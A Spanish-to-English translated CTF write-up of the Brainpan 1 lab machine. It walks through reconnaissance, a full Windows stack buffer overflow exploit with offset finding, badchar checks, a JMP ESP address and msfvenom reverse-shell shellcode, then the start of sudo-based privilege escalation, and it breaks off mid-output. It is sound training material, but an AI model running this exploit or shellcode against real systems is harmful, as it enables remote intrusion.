This page was translated from Spanish with AI. The original version is in Spanish: read the original.

Brainpan 1


In this machine we practice the most typical BoF (buffer overflow), the kind that usually shows up in certifications like the eCPPT or the old OSCP

February 9, 202413 minutes

Reconnaissance

First of all, we check whether the machine is up and which OS it runs

> ping -c 1 192.168.1.139
PING 192.168.1.139 (192.168.1.139) 56(84) bytes of data.
64 bytes from 192.168.1.139: icmp_seq=1 ttl=64 time=0.240 ms

--- 192.168.1.139 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.240/0.240/0.240/0.000 ms

We have connectivity, and in this case it returns a TTL (time to live) of 127, knowing that ttl=64: Linux / ttl=128: Windows. This machine is Linux

Port scan

Now we start with a port scan

$ sudo nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 192.168.1.139 -oG allPorts
Parameter explanation
ParameterPurpose
-p-Scan all ports (65536)
–openOnly report open ports
–min-rate 5000Set the scan speed
-nSkip DNS resolution
-vvvPrint findings to the console as they come
-PnSkip checking whether the host is up
-oG allPortsSave the scan in grepable format to a file called allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

> extractPorts allPorts
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 192.168.1.139
   5   │     [*] Open ports: 9999,10000
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services running on those ports and run nmap’s basic reconnaissance scripts

> sudo nmap -p9999,10000 -sCV 192.168.1.139 -oN versions
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-04 18:42 CET
Nmap scan report for 192.168.1.139
Host is up (0.00053s latency).

PORT      STATE SERVICE VERSION
9999/tcp  open  abyss?
| fingerprint-strings: 
|   NULL: 
|     _| _| 
|     _|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_| 
|     _|_| _| _| _| _| _| _| _| _| _| _| _|
|     _|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
|     [________________________ WELCOME TO BRAINPAN _________________________]
|_    ENTER THE PASSWORD
10000/tcp open  http    SimpleHTTPServer 0.6 (Python 2.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/2.7.3
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9999-TCP:V=7.94SVN%I=7%D=2/4%Time=65BFCC92%P=x86_64-pc-linux-gnu%r(
SF:NULL,298,"_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\n_\|_\|_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|\x20\x20\x20\x20_\|_\|_
SF:\|\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x20\x20\x20_\|_\|_\|\x20\x20\x2
SF:0\x20\x20\x20_\|_\|_\|\x20\x20_\|_\|_\|\x20\x20\n_\|\x20\x20\x20\x20_\|
SF:\x20\x20_\|_\|\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|
SF:\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|
SF:\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|\x20\x20\x20\x20_
SF:\|\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20
SF:\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|\x20\x20\x20\x20_\|\n_\|_\|_\|\x20
SF:\x20\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\|_\|_\|\x20\x2
SF:0_\|\x20\x20_\|\x20\x20\x20\x20_\|\x20\x20_\|_\|_\|\x20\x20\x20\x20\x20
SF:\x20_\|_\|_\|\x20\x20_\|\x20\x20\x20\x20_\|\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20_\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20_\|\n\n\[________________________\x20WELCOME\x20TO\x20BRAINPAN
SF:\x20_________________________\]\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20ENTER
SF:\x20THE\x20PASSWORD\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\
SF:n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20>>\x20");
MAC Address: 08:00:27:C3:40:1B (Oracle VirtualBox virtual NIC)
Parameter explanation
ParameterPurpose
-pThe open ports found in the previous scan
-sCRun basic reconnaissance scripts
-sVReport the version and details of the services running on the ports

Port 10000

nmap reported a SimpleHTTPServer version 0.6 (Python 2.7.3) on port 10000. We could also have seen this with whatweb

$ whatweb 192.168.1.139:10000

http://192.168.1.139:10000 [200 OK] Country[RESERVED][ZZ], HTTPServer[SimpleHTTP/0.6 Python/2.7.3], IP[192.168.1.139], Python[2.7.3]

When we open the website, we see a simple page with nothing remarkable. At this point we could try fuzzing to enumerate files or directories on the web server. For this we’ll use wfuzz

> wfuzz -c -t 20 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://192.168.1.139:10000/FUZZ

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                
=====================================================================                                                                                 
000000483:   301        0 L      0 W        0 Ch        "bin"  
Parameter explanation
  • -c: Colored output
  • -t: Number of concurrent threads
  • –hc=404: Hide responses with a 404 status code, meaning we don’t want it to report pages that don’t exist
  • -w: Wordlist
  • FUZZ: Where the wordlist entries will be tried

It found a directory called bin with a file called brainpan.exe inside, so we’ll download it

$ wget 192.168.1.139:10000/bin/brainpan.exe
     
2024-02-04 18:57:28 (44.7 MB/s) - ‘brainpan.exe’ saved [21190/21190]

We’ll copy this binary to a Windows 7 machine (32-bit in my case) through a Python server started on the attacker machine with python3 -m http.server 80. Now, if we enter our IP in the Windows 7 browser, we can download the file.

Port 9999

When we run brainpan.exe on the Windows machine, a terminal opens saying “bind done on port 9999 waitin for connextions”. As it happens, it’s the same port that was open on the target machine.

If we connect with netcat to port 9999 on the Windows machine, and then connect to port 9999 on the target machine, we see the message is the same.

> nc 192.168.1.141 9999 #Windows 7
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >>
> nc 192.168.1.139 9999 #Víctima
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >>

From this we conclude that brainpan.exe is the same program running on the target machine

Buffer Overflow

To analyze the binary we’ll use Immunity Debugger with mona.

First we import the file into Immunity Debugger. Once imported, we run it from Immunity Debugger.

During the exploitation we’ll build a Python script to speed everything up…

from pwn import *

offset = 1000
junk = b"A" * offset
payload = junk
host, port = "192.168.1.141", 9999

r = remote(host, port)
r.sendline(payload)

What we’ll do with this is send 1000 “A"s to the program running on port 9999 of the Windows machine.

After running the script, we can see in Immunity Debugger that EIP is now 41414141, which is AAAA. This means that if we send a very long input we can overwrite EIP

EIP: (Extended Instruction Pointer) is a register that stores the address of the next instruction to be executed in a program.

Calculating the offset

Now we’ll find out how many “A"s we need to send to reach EIP. To find this number, called the offset, we’ll use a string designed for this purpose.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1800

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5...

This command has generated a 1800-character string, which we’ll add to the script.

from pwn import *

junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8>
payload = junk
host, port = "192.168.1.141", 9999

r = remote(host, port)
r.sendline(payload)

We run the script, and Immunity Debugger shows that EIP is 35724134.

With the following command we calculate the offset automatically

$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1800 -q 35724134

[*] Exact match at offset 524

Finding badchars

Once we control EIP, we’ll check for badchars.

Badchars are basically characters that can cause problems when running shellcode. A typical badchar is \x00 (null byte), which is usually excluded right away because it causes lots of problems.

We could check for badchars manually, but we’ll use mona to automate it. First we need to set the working directory, which in my case will be C:\Users\arnau\Desktop\bof

!mona config -set workingfolder C:\Users\arnau\Desktop\bof

Then we’ll create a file with all the bytes except the null byte (\x00) and save it in the working directory.

!mona bytearray -b "\x00"

Now the file C:\Users\arnau\Desktop\bof\bytearray.txt contains all the bytes.

================================================================================
  Output generated by mona.py v2.0, rev 635 - Immunity Debugger
  Corelan Consulting bv - https://www.corelan.be
================================================================================
  OS : 7, release 6.1.7601
  Process being debugged : brainpan (pid 2272)
  Current mona arguments: bytearray -b "\x00"
================================================================================
  2024-02-05 19:12:33
================================================================================
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

We’ll put all these bytes in the Python script so they go after EIP; for now we’ll set EIP to “42424242” (BBBB). It looks like this:

from pwn import *

offset = 524
junk = b"A" * offset
eip = b"B" * 4
after_eip = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

payload = junk + eip + after_eip

host, port = "192.168.88.12", 9999

r = remote(host, port)
r.sendline(payload)

Now, if we right-click on ESP at the top right > Follow in Dump, we can see where the bytes we placed after EIP start, and on the left we can see the memory address where the badchar test bytes begin

0022F918   41414141  AAAA
0022F91C   41414141  AAAA
0022F920   41414141  AAAA
0022F924   41414141  AAAA
0022F928   41414141  AAAA
0022F92C   42424242  BBBB
0022F930   04030201  
0022F934   08070605  
0022F938   0C0B0A09  ...
0022F93C   100F0E0D  .
0022F940   14131211  
0022F944   18171615  
0022F948   1C1B1A19  
0022F94C   201F1E1D  
0022F950   24232221  !"#$
0022F954   28272625  %&'(
0022F958   2C2B2A29  )*+,
0022F95C   302F2E2D  -./0
0022F960   34333231  1234

We can look for bytes that aren’t displayed correctly, or use the following mona command

!mona compare -f C:\Users\arnau\Desktop\bof\bytearray.bin -a 0022F930
0BADF00D  [+] Fetched 255 bytes successfully from C:\Users\arnau\Desktop\bof\bytearray.bin
0BADF00D      - Comparing 1 location(s)
0BADF00D  Comparing bytes from file with memory :
0022F930  [+] Comparing with memory at location : 0x0022f930 (Stack)
0022F930  !!! Hooray, normal shellcode unmodified !!!
0022F930  Bytes omitted from input: 00

After running the command, a small window opens showing the badchars found; in this case it didn’t find any. So when creating the shellcode we’ll simply exclude \x00

Protections

With the following command we can see the binary’s protections

!mona modules
0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D   Module info :
0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------------------
0BADF00D   Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Version, Modulename & Path, DLLCharacteristics
0BADF00D  ----------------------------------------------------------------------------------------------------------------------------------------------
....
0BADF00D   0x76df0000 | 0x76ec4000 | 0x000d4000 | True   | True    | True  | False |  True    | True   | 6.1.7600.16385 [kernel32.dll] (C:\Windows\system32\kernel32.dll) 0x140
0BADF00D   0x31170000 | 0x31176000 | 0x00006000 | False  | False   | False | False |  False   | False  | -1.0- [brainpan.exe] (C:\Users\arnau\Downloads\brainpan.exe) 0x0
0BADF00D   0x76960000 | 0x76a0c000 | 0x000ac000 | True   | True    | True  | False |  True    | True   | 7.0.7600.16385 [msvcrt.dll] (C:\Windows\system32\msvcrt.dll) 0x140
....
0BADF00D  -----------------------------------------------------------------------------------------------------------------------------------------  

In the brainpan.exe row everything is false.

JMP ESP

Now we need to find the address of a JMP ESP. To find it, we need the JMP ESP opcode

> /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

nasm > jmp ESP
00000000  FFE4              jmp esp
nasm > 

The JMP ESP opcode is FFE4. Knowing this, we can search for the address of a JMP ESP with mona

!mona find -s "\xFF\xE4" -m brainpan.exe
712F3    0x311712f3 : "\xFF\xE4" |  {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\arnau\Downloads\brainpan.exe), 0x0

The JMP ESP address is: 0x311712f3

Shellcode

Finally, we’ll build the shellcode that will send a reverse shell to our attacker machine. To create the shellcode we’ll use msfvenom like this:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.88.5 LPORT=443 --platform windows -a x86 -e x86/shikata_ga_nai -f py -b "\x00" EXITFUNC=thread

buf =  b""
buf += b"\xba\x0c\xa9\x71\x87\xdb\xde\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x52\x31\x55\x12\x83\xc5\x04\x03\x59"
buf += b"\xa7\x93\x72\x9d\x5f\xd1\x7d\x5d\xa0\xb6\xf4\xb8"
buf += b"\x91\xf6\x63\xc9\x82\xc6\xe0\x9f\x2e\xac\xa5\x0b"
buf += b"\xa4\xc0\x61\x3c\x0d\x6e\x54\x73\x8e\xc3\xa4\x12"
buf += b"\x0c\x1e\xf9\xf4\x2d\xd1\x0c\xf5\x6a\x0c\xfc\xa7"
buf += b"\x23\x5a\x53\x57\x47\x16\x68\xdc\x1b\xb6\xe8\x01"
buf += b"\xeb\xb9\xd9\x94\x67\xe0\xf9\x17\xab\x98\xb3\x0f"
buf += b"\xa8\xa5\x0a\xa4\x1a\x51\x8d\x6c\x53\x9a\x22\x51"
buf += b"\x5b\x69\x3a\x96\x5c\x92\x49\xee\x9e\x2f\x4a\x35"
buf += b"\xdc\xeb\xdf\xad\x46\x7f\x47\x09\x76\xac\x1e\xda"
buf += b"\x74\x19\x54\x84\x98\x9c\xb9\xbf\xa5\x15\x3c\x6f"
buf += b"\x2c\x6d\x1b\xab\x74\x35\x02\xea\xd0\x98\x3b\xec"
buf += b"\xba\x45\x9e\x67\x56\x91\x93\x2a\x3f\x56\x9e\xd4"
buf += b"\xbf\xf0\xa9\xa7\x8d\x5f\x02\x2f\xbe\x28\x8c\xa8"
buf += b"\xc1\x02\x68\x26\x3c\xad\x89\x6f\xfb\xf9\xd9\x07"
buf += b"\x2a\x82\xb1\xd7\xd3\x57\x15\x87\x7b\x08\xd6\x77"
buf += b"\x3c\xf8\xbe\x9d\xb3\x27\xde\x9e\x19\x40\x75\x65"
buf += b"\xca\xaf\x22\x3d\x0f\x58\x31\xbd\x0e\x23\xbc\x5b"
buf += b"\x7a\x43\xe9\xf4\x13\xfa\xb0\x8e\x82\x03\x6f\xeb"
buf += b"\x85\x88\x9c\x0c\x4b\x79\xe8\x1e\x3c\x89\xa7\x7c"
buf += b"\xeb\x96\x1d\xe8\x77\x04\xfa\xe8\xfe\x35\x55\xbf"
buf += b"\x57\x8b\xac\x55\x4a\xb2\x06\x4b\x97\x22\x60\xcf"
buf += b"\x4c\x97\x6f\xce\x01\xa3\x4b\xc0\xdf\x2c\xd0\xb4"
buf += b"\x8f\x7a\x8e\x62\x76\xd5\x60\xdc\x20\x8a\x2a\x88"
buf += b"\xb5\xe0\xec\xce\xb9\x2c\x9b\x2e\x0b\x99\xda\x51"
buf += b"\xa4\x4d\xeb\x2a\xd8\xed\x14\xe1\x58\x0d\xf7\x23"
buf += b"\x95\xa6\xae\xa6\x14\xab\x50\x1d\x5a\xd2\xd2\x97"
buf += b"\x23\x21\xca\xd2\x26\x6d\x4c\x0f\x5b\xfe\x39\x2f"
buf += b"\xc8\xff\x6b"

All that’s left is to put everything together in the script

from pwn import *
from struct import pack

offset = 524
junk = b"A" * offset
eip = pack("<I", 0x311712f3)
buf =  b""
buf += b"\xba\x0c\xa9\x71\x87\xdb\xde\xd9\x74\x24\xf4\x5d"
buf += b"\x33\xc9\xb1\x52\x31\x55\x12\x83\xc5\x04\x03\x59"
buf += b"\xa7\x93\x72\x9d\x5f\xd1\x7d\x5d\xa0\xb6\xf4\xb8"
buf += b"\x91\xf6\x63\xc9\x82\xc6\xe0\x9f\x2e\xac\xa5\x0b"
buf += b"\xa4\xc0\x61\x3c\x0d\x6e\x54\x73\x8e\xc3\xa4\x12"
buf += b"\x0c\x1e\xf9\xf4\x2d\xd1\x0c\xf5\x6a\x0c\xfc\xa7"
buf += b"\x23\x5a\x53\x57\x47\x16\x68\xdc\x1b\xb6\xe8\x01"
buf += b"\xeb\xb9\xd9\x94\x67\xe0\xf9\x17\xab\x98\xb3\x0f"
buf += b"\xa8\xa5\x0a\xa4\x1a\x51\x8d\x6c\x53\x9a\x22\x51"
buf += b"\x5b\x69\x3a\x96\x5c\x92\x49\xee\x9e\x2f\x4a\x35"
buf += b"\xdc\xeb\xdf\xad\x46\x7f\x47\x09\x76\xac\x1e\xda"
buf += b"\x74\x19\x54\x84\x98\x9c\xb9\xbf\xa5\x15\x3c\x6f"
buf += b"\x2c\x6d\x1b\xab\x74\x35\x02\xea\xd0\x98\x3b\xec"
buf += b"\xba\x45\x9e\x67\x56\x91\x93\x2a\x3f\x56\x9e\xd4"
buf += b"\xbf\xf0\xa9\xa7\x8d\x5f\x02\x2f\xbe\x28\x8c\xa8"
buf += b"\xc1\x02\x68\x26\x3c\xad\x89\x6f\xfb\xf9\xd9\x07"
buf += b"\x2a\x82\xb1\xd7\xd3\x57\x15\x87\x7b\x08\xd6\x77"
buf += b"\x3c\xf8\xbe\x9d\xb3\x27\xde\x9e\x19\x40\x75\x65"
buf += b"\xca\xaf\x22\x3d\x0f\x58\x31\xbd\x0e\x23\xbc\x5b"
buf += b"\x7a\x43\xe9\xf4\x13\xfa\xb0\x8e\x82\x03\x6f\xeb"
buf += b"\x85\x88\x9c\x0c\x4b\x79\xe8\x1e\x3c\x89\xa7\x7c"
buf += b"\xeb\x96\x1d\xe8\x77\x04\xfa\xe8\xfe\x35\x55\xbf"
buf += b"\x57\x8b\xac\x55\x4a\xb2\x06\x4b\x97\x22\x60\xcf"
buf += b"\x4c\x97\x6f\xce\x01\xa3\x4b\xc0\xdf\x2c\xd0\xb4"
buf += b"\x8f\x7a\x8e\x62\x76\xd5\x60\xdc\x20\x8a\x2a\x88"
buf += b"\xb5\xe0\xec\xce\xb9\x2c\x9b\x2e\x0b\x99\xda\x51"
buf += b"\xa4\x4d\xeb\x2a\xd8\xed\x14\xe1\x58\x0d\xf7\x23"
buf += b"\x95\xa6\xae\xa6\x14\xab\x50\x1d\x5a\xd2\xd2\x97"
buf += b"\x23\x21\xca\xd2\x26\x6d\x4c\x0f\x5b\xfe\x39\x2f"
buf += b"\xc8\xff\x6b"

payload = junk + eip + b"\x90" * 16 + buf

host, port = "192.168.88.12", 9999

r = remote(host, port)
r.sendline(payload)

Going over the script:

First we define the offset, which is the number of characters we send to reach EIP. In EIP we put the JMP ESP address so it jumps to ESP. After EIP we put “\x90” 16 times, and finally the shellcode.

Why do we put \x90 before the shellcode?

Memory can shift a bit during program execution, so we don’t know exactly at which address in the buffer the shellcode will start. The NOP sled is a way to deal with this.

A NOP sled is a sequence of NOP (no operation) instructions meant to “slide” the CPU’s instruction execution flow to the next memory address. Wherever the return address lands in the NOP sled, execution will slide along the buffer until it reaches the start of the shellcode

All that’s left is to start listening and run the script!

> rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.88.5] from (UNKNOWN) [192.168.88.12] 49190
Microsoft Windows [Versi�n 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos.

Privilege escalation

Inside puck’s home directory we see this file

#!/bin/bash
# run brainpan.exe if it stops
lsof -i:9999
if [[ $? -eq 1 ]]; then 
	pid=`ps aux | grep brainpan.exe | grep -v grep`
	if [[ ! -z $pid ]]; then
		kill -9 $pid
		killall wineserver
		killall winedevice.exe
	fi
	/usr/bin/wine /home/puck/web/bin/brainpan.exe &
fi 

# run SimpleHTTPServer if it stops
lsof -i:10000
if [[ $? -eq 1 ]]; then 
	pid=`ps aux | grep SimpleHTTPServer | grep -v grep`
	if [[ ! -z $pid ]]; then
		kill -9 $pid
	fi
	cd /home/puck/web
	/usr/bin/python -m SimpleHTTPServer 10000
fi 

This is a bash script, which means this is actually Linux, so we’ll switch to a Linux payload.

> msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.88.5 LPORT=443 -b "\x00" -f py shellcode

buf =  b""
buf += b"\xda\xdb\xbf\x5f\xa4\xa1\x30\xd9\x74\x24\xf4\x5a"
buf += b"\x29\xc9\xb1\x12\x31\x7a\x17\x03\x7a\x17\x83\xb5"
buf += b"\x58\x43\xc5\x78\x7a\x73\xc5\x29\x3f\x2f\x60\xcf"
buf += b"\x36\x2e\xc4\xa9\x85\x31\xb6\x6c\xa6\x0d\x74\x0e"
buf += b"\x8f\x08\x7f\x66\xd0\x43\x27\x73\xb8\x91\xd8\x7a"
buf += b"\x83\x1f\x39\xcc\x95\x4f\xeb\x7f\xe9\x73\x82\x9e"
buf += b"\xc0\xf4\xc6\x08\xb5\xdb\x95\xa0\x21\x0b\x75\x52"
buf += b"\xdb\xda\x6a\xc0\x48\x54\x8d\x54\x65\xab\xce"

Now, once in, with sudo -l we see that we can run /home/anansi/bin/anansi_util as root without a password.

puck@brainpan:/home/puck$ sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

This script has 3 options

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util         
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
  • Network

Runs ifconfig

puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util network
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
    link/ether 08:00:27:c3:40:1b brd ff:ff:ff:ff:ff:ff
    inet 192.168.88.10/24 brd 192.168.88.255 scope global eth0
    inet6 fe80::a00:27ff:fec3:401b/64 scope link 
       valid_lft forever preferred_lft forever
  • Proclist
puck@brainpan:/home/puck$ sudo /home/anansi/bin/anansi_util proclist

top - 10:15:24 up 15 min,  0 users,  load average: 0.00, 0.00, 0.00
Tasks:  77 total,   1 running,  76 sleeping,   0 stopped,   0 zombie
%Cpu(s):  0.0 us,  0.1 sy,  0.0 ni, 99.9 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem:    248936 total,   136380 used,   112556 free,    25352 buffers
KiB Swap:   520188 total,        0 used,   520188 free,    77192 cached

  PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM    TIME+  COMMAND           
    1 root      20   0  3492 1860 1280 S   0.0  0.7   0:00.24 init              
    2 root      20   0     0    0    0 S   0.0  0.0   0:00.00 kthreadd          
    3 root      20   0     0    0    0 S   0.0  0.0   0:00.03 ksoftirqd/0       
    4 root      20   0     0    0    0 S   0.0  0.0   0:00.00 kworker/0:0       
    6 root      rt   0     0    0    0 S   0.0  0.0   0:00.00 migration/0       
    7 root      rt   0     0    0    0 S   0.0  0.0   0:00.00 watchdog/0        
    8 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 cpuset            
